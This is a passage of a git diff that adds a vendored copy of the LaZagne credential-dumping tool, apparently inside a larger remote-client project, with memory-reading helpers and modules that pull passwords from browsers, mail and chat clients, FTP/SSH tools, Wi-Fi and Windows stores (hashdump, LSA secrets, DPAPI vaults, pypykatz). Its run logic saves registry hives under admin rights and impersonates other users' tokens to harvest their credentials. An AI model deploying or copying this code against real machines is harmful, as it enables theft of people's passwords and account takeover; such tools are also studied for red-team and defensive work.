+ ('AllocationProtect', DWORD),
+ ('alignement1', DWORD),
+ ('RegionSize', c_ulonglong),
+ ('State', DWORD),
+ ('Protect', DWORD),
+ ('Type', DWORD),
+ ('alignement2', DWORD)]
+
+
+
+class SYSTEM_INFO(Structure):
+ _fields_ = [('wProcessorArchitecture', WORD),
+ ('wReserved', WORD),
+ ('dwPageSize', DWORD),
+ ('lpMinimumApplicationAddress', LPVOID),
+ ('lpMaximumApplicationAddress', LPVOID),
+ ('dwActiveProcessorMask', ULONG_PTR),
+ ('dwNumberOfProcessors', DWORD),
+ ('dwProcessorType', DWORD),
+ ('dwAllocationGranularity', DWORD),
+ ('wProcessorLevel', WORD),
+ ('wProcessorRevision', WORD)]
+
+
+class PROCESSENTRY32(Structure):
+ _fields_ = [('dwSize', c_uint),
+ ('cntUsage', c_uint),
+ ('th32ProcessID', c_uint),
+ ('th32DefaultHeapID', c_uint),
+ ('th32ModuleID', c_uint),
+ ('cntThreads', c_uint),
+ ('th32ParentProcessID', c_uint),
+ ('pcPriClassBase', c_long),
+ ('dwFlags', DWORD),
+ #('dwFlags', ULONG_PTR),
+ ('szExeFile', c_char * 260),
+ ('th32MemoryBase', c_long),
+ ('th32AccessKey', c_long)]
+
+
+class MODULEENTRY32(Structure):
+ _fields_ = [('dwSize', c_uint),
+ ('th32ModuleID', c_uint),
+ ('th32ProcessID', c_uint),
+ ('GlblcntUsage', c_uint),
+ ('ProccntUsage', c_uint),
+ ('modBaseAddr', c_uint),
+ ('modBaseSize', c_uint),
+ ('hModule', c_uint),
+ ('szModule', c_char * 256),
+ ('szExePath', c_char * 260)]
+
+
+class THREADENTRY32(Structure):
+ _fields_ = [('dwSize', c_uint),
+ ('cntUsage', c_uint),
+ ('th32ThreadID', c_uint),
+ ('th32OwnerProcessID', c_uint),
+ ('tpBasePri', c_uint),
+ ('tpDeltaPri', c_uint),
+ ('dwFlags', c_uint)]
+
+
+class TH32CS_CLASS(object):
+ INHERIT = 2147483648
+ SNAPHEAPLIST = 1
+ SNAPMODULE = 8
+ SNAPMODULE32 = 16
+ SNAPPROCESS = 2
+ SNAPTHREAD = 4
+ ALL = 2032639
+
+
+Module32First = windll.kernel32.Module32First
+Module32First.argtypes = [c_void_p, POINTER(MODULEENTRY32)]
+Module32First.rettype = c_int
+Module32Next = windll.kernel32.Module32Next
+Module32Next.argtypes = [c_void_p, POINTER(MODULEENTRY32)]
+Module32Next.rettype = c_int
+
+Process32First = windll.kernel32.Process32First
+Process32First.argtypes = [c_void_p, POINTER(PROCESSENTRY32)]
+Process32First.rettype = c_int
+Process32Next = windll.kernel32.Process32Next
+Process32Next.argtypes = [c_void_p, POINTER(PROCESSENTRY32)]
+Process32Next.rettype = c_int
+
+CreateToolhelp32Snapshot = windll.kernel32.CreateToolhelp32Snapshot
+CreateToolhelp32Snapshot.reltype = c_long
+CreateToolhelp32Snapshot.argtypes = [c_int, c_int]
+
+CloseHandle = windll.kernel32.CloseHandle
+CloseHandle.argtypes = [c_void_p]
+CloseHandle.rettype = c_int
+
+OpenProcess = windll.kernel32.OpenProcess
+OpenProcess.argtypes = [c_void_p, c_int, c_long]
+OpenProcess.rettype = c_long
+OpenProcessToken = windll.advapi32.OpenProcessToken
+OpenProcessToken.argtypes = (HANDLE, DWORD, POINTER(HANDLE))
+OpenProcessToken.restype = BOOL
+
+ReadProcessMemory = windll.kernel32.ReadProcessMemory
+ReadProcessMemory.argtypes = [HANDLE, LPCVOID, LPVOID, c_size_t, POINTER(c_size_t)]
+ReadProcessMemory = windll.kernel32.ReadProcessMemory
+
+WriteProcessMemory = windll.kernel32.WriteProcessMemory
+WriteProcessMemory.argtypes = [HANDLE, LPVOID, LPCVOID, c_size_t, POINTER(c_size_t)]
+WriteProcessMemory.restype = BOOL
+
+if sizeof(c_void_p) == 8:
+ NtWow64ReadVirtualMemory64=None
+else:
+ try:
+ NtWow64ReadVirtualMemory64 = windll.ntdll.NtWow64ReadVirtualMemory64
+ NtWow64ReadVirtualMemory64.argtypes = [HANDLE, c_longlong, LPVOID, c_ulonglong, POINTER(c_ulong)] # NTSTATUS (__stdcall *NtWow64ReadVirtualMemory64)(HANDLE ProcessHandle, PVOID64 BaseAddress, PVOID Buffer, ULONGLONG BufferSize, PULONGLONG NumberOfBytesRead);
+ NtWow64ReadVirtualMemory64.restype = BOOL
+ except:
+ NtWow64ReadVirtualMemory64=None
+
+VirtualQueryEx = windll.kernel32.VirtualQueryEx
+VirtualQueryEx.argtypes = [HANDLE, LPCVOID, POINTER(MEMORY_BASIC_INFORMATION), c_size_t]
+VirtualQueryEx.restype = c_size_t
+
+#VirtualQueryEx64 = windll.kernel32.VirtualQueryEx
+#VirtualQueryEx64.argtypes = [HANDLE, LPCVOID, POINTER(MEMORY_BASIC_INFORMATION64), c_size_t]
+#VirtualQueryEx64.restype = c_size_t
+
+PAGE_EXECUTE_READWRITE = 64
+PAGE_EXECUTE_READ = 32
+PAGE_READONLY = 2
+PAGE_READWRITE = 4
+PAGE_NOCACHE = 512
+PAGE_WRITECOMBINE = 1024
+PAGE_GUARD = 256
+
+MEM_COMMIT = 4096
+MEM_FREE = 65536
+MEM_RESERVE = 8192
+
+UNPROTECTED_DACL_SECURITY_INFORMATION = 536870912
+DACL_SECURITY_INFORMATION = 4 \ No newline at end of file
diff --git a/foreign/client_handling/lazagne/config/lib/memorpy/__init__.py b/foreign/client_handling/lazagne/config/lib/memorpy/__init__.py
new file mode 100644
index 0000000..853fcea
--- /dev/null
+++ b/foreign/client_handling/lazagne/config/lib/memorpy/__init__.py
@@ -0,0 +1,32 @@
+# Author: Nicolas VERDIER
+# This file is part of memorpy.
+#
+# memorpy is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# memorpy is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with memorpy. If not, see <http://www.gnu.org/licenses/>.
+
+
+import logging
+logger=logging.getLogger("memorpy")
+logger.setLevel(logging.WARNING)
+ch = logging.StreamHandler()
+ch.setLevel(logging.WARNING)
+logger.addHandler(ch)
+
+import sys
+from .MemWorker import *
+from .Locator import *
+from .Address import *
+from .Process import *
+from .utils import *
+#if sys.platform=="win32":
+# from wintools import * #not a necessary dependency, just used for debugging
diff --git a/foreign/client_handling/lazagne/config/lib/memorpy/structures.py b/foreign/client_handling/lazagne/config/lib/memorpy/structures.py
new file mode 100644
index 0000000..a08c2ee
--- /dev/null
+++ b/foreign/client_handling/lazagne/config/lib/memorpy/structures.py
@@ -0,0 +1,8 @@
+#!/usr/bin/env python
+# -*- coding: UTF8 -*-
+
+import sys
+if sys.platform=="win32":
+ from .WinStructures import *
+else:
+ from .LinStructures import *
diff --git a/foreign/client_handling/lazagne/config/lib/memorpy/utils.py b/foreign/client_handling/lazagne/config/lib/memorpy/utils.py
new file mode 100644
index 0000000..5b1c58a
--- /dev/null
+++ b/foreign/client_handling/lazagne/config/lib/memorpy/utils.py
@@ -0,0 +1,121 @@
+# Author: Nicolas VERDIER
+# This file is part of memorpy.
+#
+# memorpy is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# memorpy is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with memorpy. If not, see <http://www.gnu.org/licenses/>.
+
+import re
+import struct
+
+def re_to_unicode(s):
+ newstring = ''
+ for c in s:
+ newstring += re.escape(c) + '\\x00'
+
+ return newstring
+
+
+def type_unpack(type):
+ """ return the struct and the len of a particular type """
+ type = type.lower()
+ s = None
+ l = None
+ if type == 'short':
+ s = 'h'
+ l = 2
+ elif type == 'ushort':
+ s = 'H'
+ l = 2
+ elif type == 'int':
+ s = 'i'
+ l = 4
+ elif type == 'uint':
+ s = 'I'
+ l = 4
+ elif type == 'long':
+ s = 'l'
+ l = 4
+ elif type == 'ulong':
+ s = 'L'
+ l = 4
+ elif type == 'float':
+ s = 'f'
+ l = 4
+ elif type == 'double':
+ s = 'd'
+ l = 8
+ else:
+ raise TypeError('Unknown type %s' % type)
+ return ('<' + s, l)
+
+
+def hex_dump(data, addr = 0, prefix = '', ftype = 'bytes'):
+ """
+ function originally from pydbg, modified to display other types
+ """
+ dump = prefix
+ slice = ''
+ if ftype != 'bytes':
+ structtype, structlen = type_unpack(ftype)
+ for i in range(0, len(data), structlen):
+ if addr % 16 == 0:
+ dump += ' '
+ for char in slice:
+ if ord(char) >= 32 and ord(char) <= 126:
+ dump += char
+ else:
+ dump += '.'
+
+ dump += '\n%s%08X: ' % (prefix, addr)
+ slice = ''
+ tmpval = 'NaN'
+ try:
+ packedval = data[i:i + structlen]
+ tmpval = struct.unpack(structtype, packedval)[0]
+ except Exception as e:
+ print(e)
+
+ if tmpval == 'NaN':
+ dump += '{:<15} '.format(tmpval)
+ elif ftype == 'float':
+ dump += '{:<15.4f} '.format(tmpval)
+ else:
+ dump += '{:<15} '.format(tmpval)
+ addr += structlen
+
+ else:
+ for byte in data:
+ if addr % 16 == 0:
+ dump += ' '
+ for char in slice:
+ if ord(char) >= 32 and ord(char) <= 126:
+ dump += char
+ else:
+ dump += '.'
+
+ dump += '\n%s%08X: ' % (prefix, addr)
+ slice = ''
+ dump += '%02X ' % byte
+ slice += chr(byte)
+ addr += 1
+
+ remainder = addr % 16
+ if remainder != 0:
+ dump += ' ' * (16 - remainder) + ' '
+ for char in slice:
+ if ord(char) >= 32 and ord(char) <= 126:
+ dump += char
+ else:
+ dump += '.'
+
+ return dump + '\n'
diff --git a/foreign/client_handling/lazagne/config/lib/memorpy/version.py b/foreign/client_handling/lazagne/config/lib/memorpy/version.py
new file mode 100644
index 0000000..51b8469
--- /dev/null
+++ b/foreign/client_handling/lazagne/config/lib/memorpy/version.py
@@ -0,0 +1,6 @@
+#!/usr/bin/env python
+# -*- coding: UTF8 -*-
+
+version=(1,7)
+version_string="%s.%s"%version
+
diff --git a/foreign/client_handling/lazagne/config/lib/memorpy/wintools.py b/foreign/client_handling/lazagne/config/lib/memorpy/wintools.py
new file mode 100644
index 0000000..f2bf936
--- /dev/null
+++ b/foreign/client_handling/lazagne/config/lib/memorpy/wintools.py
@@ -0,0 +1,35 @@
+# Author: Nicolas VERDIER
+# This file is part of memorpy.
+#
+# memorpy is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# memorpy is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with memorpy. If not, see <http://www.gnu.org/licenses/>.
+
+from ctypes import windll
+import time
+
+def start_winforeground_daemon():
+ import threading
+ t=threading.Thread(target=window_foreground_loop)
+ t.daemon=True
+ t.start()
+
+def window_foreground_loop(timeout=20):
+ """ set the windows python console to the foreground (for example when you are working with a fullscreen program) """
+ hwnd = windll.kernel32.GetConsoleWindow()
+ HWND_TOPMOST = -1
+ SWP_NOMOVE = 2
+ SWP_NOSIZE = 1
+ while True:
+ windll.user32.SetWindowPos(hwnd, HWND_TOPMOST, 0,0,0,0, SWP_NOMOVE | SWP_NOSIZE)
+ time.sleep(timeout)
+ \ No newline at end of file
diff --git a/foreign/client_handling/lazagne/config/manage_modules.py b/foreign/client_handling/lazagne/config/manage_modules.py
new file mode 100644
index 0000000..c21f0df
--- /dev/null
+++ b/foreign/client_handling/lazagne/config/manage_modules.py
@@ -0,0 +1,172 @@
+# Browsers
+from foreign.client_handling.lazagne.softwares.browsers.chromium_based import chromium_browsers
+from foreign.client_handling.lazagne.softwares.browsers.ie import IE
+from foreign.client_handling.lazagne.softwares.browsers.mozilla import firefox_browsers
+from foreign.client_handling.lazagne.softwares.browsers.ucbrowser import UCBrowser
+# Chats
+from foreign.client_handling.lazagne.softwares.chats.pidgin import Pidgin
+from foreign.client_handling.lazagne.softwares.chats.psi import PSI
+from foreign.client_handling.lazagne.softwares.chats.skype import Skype
+# Databases
+from foreign.client_handling.lazagne.softwares.databases.dbvis import Dbvisualizer
+from foreign.client_handling.lazagne.softwares.databases.postgresql import PostgreSQL
+from foreign.client_handling.lazagne.softwares.databases.robomongo import Robomongo
+from foreign.client_handling.lazagne.softwares.databases.sqldeveloper import SQLDeveloper
+from foreign.client_handling.lazagne.softwares.databases.squirrel import Squirrel
+# Games
+from foreign.client_handling.lazagne.softwares.games.galconfusion import GalconFusion
+from foreign.client_handling.lazagne.softwares.games.kalypsomedia import KalypsoMedia
+from foreign.client_handling.lazagne.softwares.games.roguestale import RoguesTale
+from foreign.client_handling.lazagne.softwares.games.turba import Turba
+# Git
+from foreign.client_handling.lazagne.softwares.git.gitforwindows import GitForWindows
+# Mails
+from foreign.client_handling.lazagne.softwares.mails.outlook import Outlook
+from foreign.client_handling.lazagne.softwares.mails.thunderbird import Thunderbird
+# Maven
+from foreign.client_handling.lazagne.softwares.maven.mavenrepositories import MavenRepositories
+# Memory
+from foreign.client_handling.lazagne.softwares.memory.keepass import Keepass
+from foreign.client_handling.lazagne.softwares.memory.memorydump import MemoryDump
+# Multimedia
+from foreign.client_handling.lazagne.softwares.multimedia.eyecon import EyeCON
+# Php
+from foreign.client_handling.lazagne.softwares.php.composer import Composer
+# Svn
+from foreign.client_handling.lazagne.softwares.svn.tortoise import Tortoise
+# Sysadmin
+from foreign.client_handling.lazagne.softwares.sysadmin.apachedirectorystudio import ApacheDirectoryStudio
+from foreign.client_handling.lazagne.softwares.sysadmin.coreftp import CoreFTP
+from foreign.client_handling.lazagne.softwares.sysadmin.cyberduck import Cyberduck
+from foreign.client_handling.lazagne.softwares.sysadmin.filezilla import Filezilla
+from foreign.client_handling.lazagne.softwares.sysadmin.filezillaserver import FilezillaServer
+from foreign.client_handling.lazagne.softwares.sysadmin.ftpnavigator import FtpNavigator
+from foreign.client_handling.lazagne.softwares.sysadmin.opensshforwindows import OpenSSHForWindows
+from foreign.client_handling.lazagne.softwares.sysadmin.openvpn import OpenVPN
+from foreign.client_handling.lazagne.softwares.sysadmin.iiscentralcertp import IISCentralCertP
+from foreign.client_handling.lazagne.softwares.sysadmin.keepassconfig import KeePassConfig
+from foreign.client_handling.lazagne.softwares.sysadmin.iisapppool import IISAppPool
+from foreign.client_handling.lazagne.softwares.sysadmin.puttycm import Puttycm
+from foreign.client_handling.lazagne.softwares.sysadmin.rdpmanager import RDPManager
+from foreign.client_handling.lazagne.softwares.sysadmin.unattended import Unattended
+from foreign.client_handling.lazagne.softwares.sysadmin.vnc import Vnc
+from foreign.client_handling.lazagne.softwares.sysadmin.winscp import WinSCP
+from foreign.client_handling.lazagne.softwares.sysadmin.wsl import Wsl
+# Wifi
+from foreign.client_handling.lazagne.softwares.wifi.wifi import Wifi
+# Windows
+from foreign.client_handling.lazagne.softwares.windows.autologon import Autologon
+from foreign.client_handling.lazagne.softwares.windows.cachedump import Cachedump
+from foreign.client_handling.lazagne.softwares.windows.credman import Credman
+from foreign.client_handling.lazagne.softwares.windows.credfiles import CredFiles
+from foreign.client_handling.lazagne.softwares.windows.hashdump import Hashdump
+from foreign.client_handling.lazagne.softwares.windows.ppypykatz import Pypykatz
+from foreign.client_handling.lazagne.softwares.windows.lsa_secrets import LSASecrets
+from foreign.client_handling.lazagne.softwares.windows.vault import Vault
+from foreign.client_handling.lazagne.softwares.windows.vaultfiles import VaultFiles
+from foreign.client_handling.lazagne.softwares.windows.windows import WindowsPassword
+
+
+def get_categories():
+ category = {
+ 'browsers': {'help': 'Web browsers supported'},
+ 'chats': {'help': 'Chat clients supported'},
+ 'databases': {'help': 'SQL/NoSQL clients supported'},
+ 'games': {'help': 'Games etc.'},
+ 'git': {'help': 'GIT clients supported'},
+ 'mails': {'help': 'Email clients supported'},
+ 'maven': {'help': 'Maven java build tool'},
+ 'memory': {'help': 'Retrieve passwords from memory'},
+ 'multimedia': {'help': 'Multimedia applications, etc'},
+ 'php': {'help': 'PHP build tool'},
+ 'svn': {'help': 'SVN clients supported'},
+ 'sysadmin': {'help': 'SCP/SSH/FTP/FTPS clients supported'},
+ 'windows': {'help': 'Windows credentials (credential manager, etc.)'},
+ 'wifi': {'help': 'Wifi'},
+ }
+ return category
+
+
+def get_modules():
+ module_names = [
+
+ # Browser
+ IE(),
+ UCBrowser(),
+
+ # Chats
+ Pidgin(),
+ Skype(),
+ PSI(),
+
+ # Databases
+ Dbvisualizer(),
+ Squirrel(),
+ SQLDeveloper(),
+ Robomongo(),
+ PostgreSQL(),
+
+ # games
+ KalypsoMedia(),
+ GalconFusion(),
+ RoguesTale(),
+ Turba(),
+
+ # Git
+ GitForWindows(),
+
+ # Mails
+ Outlook(),
+ Thunderbird(),
+
+ # Maven
+ MavenRepositories(),
+
+ # Memory
+ MemoryDump(), # retrieve browsers and keepass passwords
+ Keepass(), # should be launched after memory dump
+
+ # Multimedia
+ EyeCON(),
+
+ # Php
+ Composer(),
+
+ # SVN
+ Tortoise(),
+
+ # Sysadmin
+ ApacheDirectoryStudio(),
+ CoreFTP(),
+ Cyberduck(),
+ Filezilla(),
+ FilezillaServer(),
+ FtpNavigator(),
+ KeePassConfig(),
+ Puttycm(),
+ OpenSSHForWindows(),
+ OpenVPN(),
+ IISCentralCertP(),
+ IISAppPool(),
+ RDPManager(),
+ Unattended(),
+ WinSCP(),
+ Vnc(),
+ Wsl(),
+
+ # Wifi
+ Wifi(),
+
+ # Windows
+ Autologon(),
+ Pypykatz(),
+ Cachedump(),
+ Credman(),
+ Hashdump(),
+ LSASecrets(),
+ CredFiles(),
+ Vault(),
+ VaultFiles(),
+ WindowsPassword(),
+ ]
+ return module_names + chromium_browsers + firefox_browsers
diff --git a/foreign/client_handling/lazagne/config/module_info.py b/foreign/client_handling/lazagne/config/module_info.py
new file mode 100644
index 0000000..535549d
--- /dev/null
+++ b/foreign/client_handling/lazagne/config/module_info.py
@@ -0,0 +1,49 @@
+"""
+name => Name of a class
+category => windows / browsers / etc
+options => dictionary
+ - command
+ - action
+ - dest
+ - help
+
+ex: ('-s', action='store_true', dest='skype', help='skype')
+- options['command'] = '-s'
+- options['action'] = 'store_true'
+- options['dest'] = 'skype'
+- options['help'] = 'skype'
+"""
+
+from foreign.client_handling.lazagne.config.write_output import print_debug
+
+
+class ModuleInfo(object):
+
+ def __init__(self, name, category, options={}, suboptions=[], registry_used=False, winapi_used=False,
+ system_module=False, dpapi_used=False, only_from_current_user=False):
+ self.name = name
+ self.category = category
+ self.options = {
+ 'command': '-{name}'.format(name=self.name),
+ 'action': 'store_true',
+ 'dest': self.name,
+ 'help': '{name} passwords'.format(name=self.name)
+ }
+ self.suboptions = suboptions
+ self.registry_used = registry_used
+ self.system_module = system_module
+ self.winapi_used = winapi_used
+ self.dpapi_used = dpapi_used
+ self.only_from_current_user = only_from_current_user
+
+ def error(self, message):
+ print_debug('ERROR', message)
+
+ def info(self, message):
+ print_debug('INFO', message)
+
+ def debug(self, message):
+ print_debug('DEBUG', message)
+
+ def warning(self, message):
+ print_debug('WARNING', message) \ No newline at end of file
diff --git a/foreign/client_handling/lazagne/config/run.py b/foreign/client_handling/lazagne/config/run.py
new file mode 100644
index 0000000..a062fa3
--- /dev/null
+++ b/foreign/client_handling/lazagne/config/run.py
@@ -0,0 +1,261 @@
+# -*- coding: utf-8 -*-
+# !/usr/bin/python
+import ctypes
+import logging
+import sys
+import traceback
+
+from foreign.client_handling.lazagne.config.change_privileges import list_sids, rev2self, impersonate_sid_long_handle
+from foreign.client_handling.lazagne.config.users import get_user_list_on_filesystem, set_env_variables, get_username_winapi
+from foreign.client_handling.lazagne.config.dpapi_structure import SystemDpapi, are_masterkeys_retrieved
+from foreign.client_handling.lazagne.config.execute_cmd import save_hives, delete_hives
+from foreign.client_handling.lazagne.config.write_output import print_debug, StandardOutput
+from foreign.client_handling.lazagne.config.constant import constant
+from foreign.client_handling.lazagne.config.manage_modules import get_categories, get_modules
+
+# Useful for the Pupy project
+# workaround to this error: RuntimeError: maximum recursion depth exceeded while calling a Python object
+sys.setrecursionlimit(10000)
+
+
+def create_module_dic():
+ if constant.modules_dic:
+ return constant.modules_dic
+
+ modules = {}
+
+ # Define a dictionary for all modules
+ for category in get_categories():
+ modules[category] = {}
+
+ # Add all modules to the dictionary
+ for m in get_modules():
+ modules[m.category][m.options['dest']] = m
+
+ constant.modules_dic = modules
+ return modules
+
+
+def run_module(title, module):
+ """
+ Run only one module
+ """
+ try:
+ constant.st.title_info(title.capitalize()) # print title
+ pwd_found = module.run() # run the module
+ constant.st.print_output(title.capitalize(), pwd_found) # print the results
+
+ # Return value - not used but needed
+ yield True, title.capitalize(), pwd_found
+ except Exception:
+ error_message = traceback.format_exc()
+ print_debug('DEBUG', error_message)
+ yield False, title.capitalize(), error_message
+
+
+def run_modules(module, subcategories={}, system_module=False):
+ """
+ Run modules inside a category (could be one or multiple modules)
+ """
+ modules_to_launch = []
+
+ # Launch only a specific module
+ for i in subcategories:
+ if subcategories[i] and i in module:
+ modules_to_launch.append(i)
+
+ # Launch all modules
+ if not modules_to_launch:
+ modules_to_launch = module
+
+ for i in modules_to_launch:
+ # Only current user could access to HKCU registry or use some API that only can be run from the user environment
+ if not constant.is_current_user:
+ if module[i].registry_used or module[i].only_from_current_user:
+ continue
+
+ if system_module ^ module[i].system_module:
+ continue
+
+ if module[i].winapi_used:
+ constant.module_to_exec_at_end['winapi'].append({
+ 'title': i,
+ 'module': module[i],
+ })
+ continue
+
+ if module[i].dpapi_used:
+ constant.module_to_exec_at_end['dpapi'].append({
+ 'title': i,
+ 'module': module[i],
+ })
+ continue
+
+ # Run module
+ for m in run_module(title=i, module=module[i]):
+ yield m
+
+
+def run_category(category_selected, subcategories={}, system_module=False):
+ constant.module_to_exec_at_end = {
+ "winapi": [],
+ "dpapi": [],
+ }
+ modules = create_module_dic()
+ categories = [category_selected] if category_selected != 'all' else get_categories()
+ for category in categories:
+ for r in run_modules(modules[category], subcategories, system_module):
+ yield r
+
+ if not system_module:
+ if constant.is_current_user:
+ # Modules using Windows API (CryptUnprotectData) can be called from the current session
+ for module in constant.module_to_exec_at_end.get('winapi', []):
+ for m in run_module(title=module['title'], module=module['module']):
+ yield m
+
+ if constant.module_to_exec_at_end.get('dpapi', []):
+ if are_masterkeys_retrieved():
+ for module in constant.module_to_exec_at_end.get('dpapi', []):
+ for m in run_module(title=module['title'], module=module['module']):
+ yield m
+ else:
+ if constant.module_to_exec_at_end.get('dpapi', []) or constant.module_to_exec_at_end.get('winapi', []):
+ if are_masterkeys_retrieved():
+ # Execute winapi/dpapi modules - winapi decrypt blob using dpapi without calling CryptUnprotectData
+ for i in ['winapi', 'dpapi']:
+ for module in constant.module_to_exec_at_end.get(i, []):
+ for m in run_module(title=module['title'], module=module['module']):
+ yield m
+
+
+def run_lazagne(category_selected='all', subcategories={}, password=None):
+ """
+ Execution Workflow:
+ - If admin:
+ - Execute system modules to retrieve LSA Secrets and user passwords if possible
+ - These secret could be useful for further decryption (e.g Wifi)
+ - If a process of another user is launched try to impersone it (impersonating his token)
+ - TO DO: if hashdump retrieved other local account, launch a new process using psexec techniques
+ - From our user:
+ - Retrieve all passwords using their own password storage algorithm (Firefox, Pidgin, etc.)
+ - Retrieve all passwords using Windows API - CryptUnprotectData (Chrome, etc.)
+ - If the user password or the dpapi hash is found:
+ - Retrieve all passowrds from an encrypted blob (Credentials files, Vaults, etc.)
+ - From all users found on the filesystem (e.g C:\\Users) - Need admin privilege:
+ - Retrieve all passwords using their own password storage algorithm (Firefox, Pidgin, etc.)
+ - If the user password or the dpapi hash is found:
+ - Retrieve all passowrds from an encrypted blob (Chrome, Credentials files, Vaults, etc.)
+
+ To resume:
+ - Some passwords (e.g Firefox) could be retrieved from any other user
+ - CryptUnprotectData can be called only from our current session
+ - DPAPI Blob can decrypted only if we have the password or the hash of the user
+ """
+
+ # Useful if this function is called from another tool
+ if password:
+ constant.user_password = password
+
+ if not constant.st:
+ constant.st = StandardOutput()
+
+ # --------- Execute System modules ---------
+ if ctypes.windll.shell32.IsUserAnAdmin() != 0:
+ if save_hives():
+ # System modules (hashdump, lsa secrets, etc.)
+ constant.username = 'SYSTEM'
+ constant.finalResults = {'User': constant.username}
+ constant.system_dpapi = SystemDpapi()
+
+ if logging.getLogger().isEnabledFor(logging.INFO):
+ constant.st.print_user(constant.username)
+ yield 'User', constant.username
+
+ try:
+ for r in run_category(category_selected, subcategories, system_module=True):
+ yield r
+ except: # Catch all kind of exceptions
+ pass
+ finally:
+ delete_hives()
+
+ constant.stdout_result.append(constant.finalResults)
+
+ # ------ Part used for user impersonation ------
+
+ constant.is_current_user = True
+ constant.username = get_username_winapi()
+ if not constant.username.endswith('$'):
+
+ constant.finalResults = {'User': constant.username}
+ constant.st.print_user(constant.username)
+ yield 'User', constant.username
+
+ set_env_variables(user=constant.username)
+
+ for r in run_category(category_selected, subcategories):
+ yield r
+ constant.stdout_result.append(constant.finalResults)
+
+ # Check if admin to impersonate
+ if ctypes.windll.shell32.IsUserAnAdmin() != 0:
+
+ # --------- Impersonation using tokens ---------
+
+ sids = list_sids()
+ impersonate_users = {}
+ impersonated_user = [constant.username]
+
+ for sid in sids:
+ # Not save the current user's SIDs and not impersonate system user
+ if constant.username != sid[3] and sid[2] != 'S-1-5-18':
+ impersonate_users.setdefault(sid[3], []).append(sid[2])
+
+ for user in impersonate_users:
+ if 'service' in user.lower().strip():
+ continue
+
+ # Do not impersonate the same user twice
+ if user in impersonated_user:
+ continue
+
+ constant.st.print_user(user)
+ yield 'User', user
+
+ constant.finalResults = {'User': user}
+ for sid in impersonate_users[user]:
+ try:
+ set_env_variables(user, to_impersonate=True)
+ if impersonate_sid_long_handle(sid, close=False):
+ impersonated_user.append(user)
+
+ # Launch module wanted
+ for r in run_category(category_selected, subcategories):
+ yield r
+
+ rev2self()
+ constant.stdout_result.append(constant.finalResults)
+ break
+ except Exception:
+ print_debug('DEBUG', traceback.format_exc())
+
+ # --------- Impersonation browsing file system ---------
+
+ constant.is_current_user = False
+ # Ready to check for all users remaining
+ all_users = get_user_list_on_filesystem(impersonated_user=[constant.username])
+ for user in all_users:
+ # Fix value by default for user environment (APPDATA and USERPROFILE)
+ set_env_variables(user, to_impersonate=True)
+ constant.st.print_user(user)
+
+ constant.username = user
+ constant.finalResults = {'User': user}
+ yield 'User', user
+
+ # Retrieve passwords that need high privileges
+ for r in run_category(category_selected, subcategories):
+ yield r
+
+ constant.stdout_result.append(constant.finalResults)
diff --git a/foreign/client_handling/lazagne/config/users.py b/foreign/client_handling/lazagne/config/users.py
new file mode 100644
index 0000000..e06a253
--- /dev/null
+++ b/foreign/client_handling/lazagne/config/users.py
@@ -0,0 +1,81 @@
+# -*- coding: utf-8 -*-
+# !/usr/bin/python
+import os
+import ctypes
+import sys
+
+from foreign.client_handling.lazagne.config.winstructure import get_os_version
+from foreign.client_handling.lazagne.config.constant import constant
+
+
+def get_user_list_on_filesystem(impersonated_user=[]):
+ """
+ Get user list to retrieve their passwords
+ """
+ # Check users existing on the system (get only directories)
+ user_path = u'{drive}:\\Users'.format(drive=constant.drive)
+ if float(get_os_version()) < 6:
+ user_path = u'{drive}:\\Documents and Settings'.format(drive=constant.drive)
+
+ all_users = []
+ if os.path.exists(user_path):
+ all_users = [filename for filename in os.listdir(user_path) if os.path.isdir(os.path.join(user_path, filename))]
+
+ # Remove default users
+ for user in ['All Users', 'Default User', 'Default', 'Public', 'desktop.ini']:
+ if user in all_users:
+ all_users.remove(user)
+
+ # Removing user that have already been impersonated
+ for imper_user in impersonated_user:
+ if imper_user in all_users:
+ all_users.remove(imper_user)
+
+ return all_users
+
+
+def set_env_variables(user, to_impersonate=False):
+ # Restore template path
+ template_path = {
+ 'APPDATA': u'{drive}:\\Users\\{user}\\AppData\\Roaming\\',
+ 'USERPROFILE': u'{drive}:\\Users\\{user}\\',
+ 'HOMEDRIVE': u'{drive}:',
+ 'HOMEPATH': u'{drive}:\\Users\\{user}',
+ 'ALLUSERSPROFILE': u'{drive}:\\ProgramData',
+ 'COMPOSER_HOME': u'{drive}:\\Users\\{user}\\AppData\\Roaming\\Composer\\',
+ 'LOCALAPPDATA': u'{drive}:\\Users\\{user}\\AppData\\Local',
+ }
+
+ constant.profile = template_path
+ if not to_impersonate:
+ # Get value from environment variables
+ for env in constant.profile:
+ if os.environ.get(env):
+ try:
+ constant.profile[env] = os.environ.get(env).decode(sys.getfilesystemencoding())
+ except Exception:
+ constant.profile[env] = os.environ.get(env)
+
+ # Replace "drive" and "user" with the correct values
+ for env in constant.profile:
+ constant.profile[env] = constant.profile[env].format(drive=constant.drive, user=user)
+
+
+def get_username_winapi():
+ GetUserNameW = ctypes.windll.advapi32.GetUserNameW
+ GetUserNameW.argtypes = [ctypes.c_wchar_p, ctypes.POINTER(ctypes.c_uint)]
+ GetUserNameW.restype = ctypes.c_uint
+
+ _buffer = ctypes.create_unicode_buffer(1)
+ size = ctypes.c_uint(len(_buffer))
+ while not GetUserNameW(_buffer, ctypes.byref(size)):
+ # WinError.h
+ # define ERROR_INSUFFICIENT_BUFFER 122L // dderror
+ if ctypes.GetLastError() == 122:
+ _buffer = ctypes.create_unicode_buffer(len(_buffer)*2)
